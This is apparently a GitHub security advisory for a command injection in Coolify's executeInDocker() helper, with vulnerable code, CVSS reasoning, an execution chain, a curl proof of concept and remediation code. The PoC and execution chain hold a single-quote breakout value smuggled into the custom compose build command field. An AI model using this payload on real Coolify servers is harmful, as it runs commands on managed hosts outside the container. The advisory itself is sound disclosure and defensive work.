Skip to content

Command Injection via Single-Quote Breakout in `executeInDocker()`

Moderate
andrasbacsai published GHSA-6h8g-wpxp-cq98 Jun 25, 2026

Package

npm coolify (npm)

Affected versions

<4.0.0

Patched versions

v4.0.0-beta.464

Description

Summary

The executeInDocker() helper wraps commands in bash -c '{$command}' without escaping single quotes. User-controlled docker_compose_custom_build_command and docker_compose_custom_start_command fields are interpolated directly, allowing a single quote to break out of the bash -c argument and execute commands on the managed server host (outside the intended Docker container context).

The codebase demonstrates awareness of this issue — build_args_string and post_deployment_command are escaped with str_replace("'", "'\\''", ...) — but the custom compose command fields are not.

Severity

Medium (CVSS 3.1: 6.6)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L

  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (requires api.ability:write and application update authorization)
  • User Interaction: None
  • Scope: Changed (escapes from Docker container to managed server host)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Severity Rationale

The CVSS is lower than the report's initial "High" claim because:

  1. The attacker requires write-scoped API access AND application update authorization ($this->authorize('update', $application) at ApplicationsController.php:2463)
  2. Users with application deployment access already have significant server control (can deploy arbitrary Dockerfiles, compose files, and Docker images)
  3. The builder container already has Docker socket access for docker compose build, so the container boundary is already thin
  4. The escape is to the managed server host, not the Coolify control plane

Affected Component

  • bootstrap/helpers/docker.phpexecuteInDocker() (line 140)
  • app/Jobs/ApplicationDeploymentJob.php — lines 706, 772, 799 (custom compose commands passed unescaped)

CWE

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command

Description

The Vulnerable Helper

// bootstrap/helpers/docker.php:140-144
function executeInDocker(string $containerId, string $command)
{
    return "docker exec {$containerId} bash -c '{$command}'";
    // No escaping of single quotes in $command
}

Inconsistent Escaping

The codebase escapes single quotes for executeInDocker() in some code paths but not others:

Field Escaped Location
build_args_string Yes (str_replace("'", "'\\''", ...)) ApplicationDeploymentJob.php:693, 725
post_deployment_command Yes (str_replace("'", "'\''", ...)) ApplicationDeploymentJob.php:3923
docker_compose_custom_build_command No ApplicationDeploymentJob.php:706
docker_compose_custom_start_command No ApplicationDeploymentJob.php:772, 799

Comments at lines 692 and 724 explicitly state: // Escape single quotes for bash -c context used by executeInDocker — proving the developers understand the risk but failed to apply the defense consistently.

Unescaped Code Paths

// Line 676-706 — build command (no escaping)
if ($this->docker_compose_custom_build_command) {
    $build_command = injectDockerComposeFlags(
        $this->docker_compose_custom_build_command, ...
    );
    // ... no str_replace("'", ...) here ...
    $this->execute_remote_command(
        [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), ...],
    );
}

// Line 762-772 — start command (no escaping)
if ($this->docker_compose_custom_start_command) {
    $start_command = injectDockerComposeFlags(
        $this->docker_compose_custom_start_command, ...
    );
    // ... no str_replace("'", ...) here ...
    $this->execute_remote_command(
        [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), ...],
    );
}

Input Validation

No model-level accessor or mutator exists for docker_compose_custom_build_command or docker_compose_custom_start_command on the Application model. The API validates them only as 'string|nullable' (ApplicationsController.php:2478-2479).

Execution Chain

  1. User sets docker_compose_custom_build_command to docker compose build'; id > /tmp/escape; #
  2. executeInDocker() returns: docker exec UUID bash -c 'cd /dir && docker compose build'; id > /tmp/escape; #'
  3. This is wrapped in an SSH heredoc by generateSshCommand() and sent to the managed server
  4. The remote bash -se processes the heredoc line-by-line, interpreting the single-quote breakout
  5. id > /tmp/escape executes on the managed server host, outside the Docker container

Proof of Concept

BASE_URL='https://<coolify-host>'
TOKEN='<api_token_with_write_scope>'
APP_UUID='<docker_compose_application_uuid>'

# 1) Set a malicious custom build command
curl -sS -X PATCH "$BASE_URL/api/v1/applications/$APP_UUID" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  --data-binary '{
    "docker_compose_custom_build_command": "docker compose build'\''; id > /tmp/container_escape; #"
  }'

# 2) Trigger a deployment
curl -sS -X POST "$BASE_URL/api/v1/applications/$APP_UUID/start" \
  -H "Authorization: Bearer $TOKEN"

# On the managed server:
# cat /tmp/container_escape
# uid=0(root) gid=0(root) groups=0(root)
# (file written by the server host, not inside any container)

Impact

  • Container boundary violation: Custom compose commands intended to run inside the builder container can execute on the managed server host
  • Inconsistent security posture: The escaping gap creates a false sense of security — some fields are protected while structurally identical fields are not
  • Host-level access: While the user already has significant server access through deployments, this bypasses any container isolation the builder provides

Recommended Remediation

Option 1: Fix executeInDocker() (preferred)

Escape single quotes at the source so all callers are protected:

function executeInDocker(string $containerId, string $command)
{
    $escaped = str_replace("'", "'\\''", $command);
    return "docker exec {$containerId} bash -c '{$escaped}'";
}

This is the correct fix because it protects all ~60+ call sites, not just the two custom compose commands.

Note: After this fix, the manual escaping at lines 693, 725, and 3923 should be removed to avoid double-escaping.

Option 2: Escape at the call sites

Apply the same escaping already used for build_args_string:

$build_command = str_replace("'", "'\\''", $build_command);
$start_command = str_replace("'", "'\\''", $start_command);

This is less robust (easy to miss future call sites) but matches the existing pattern.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L

CVE ID

CVE-2026-27955

Weaknesses

No CWEs

Credits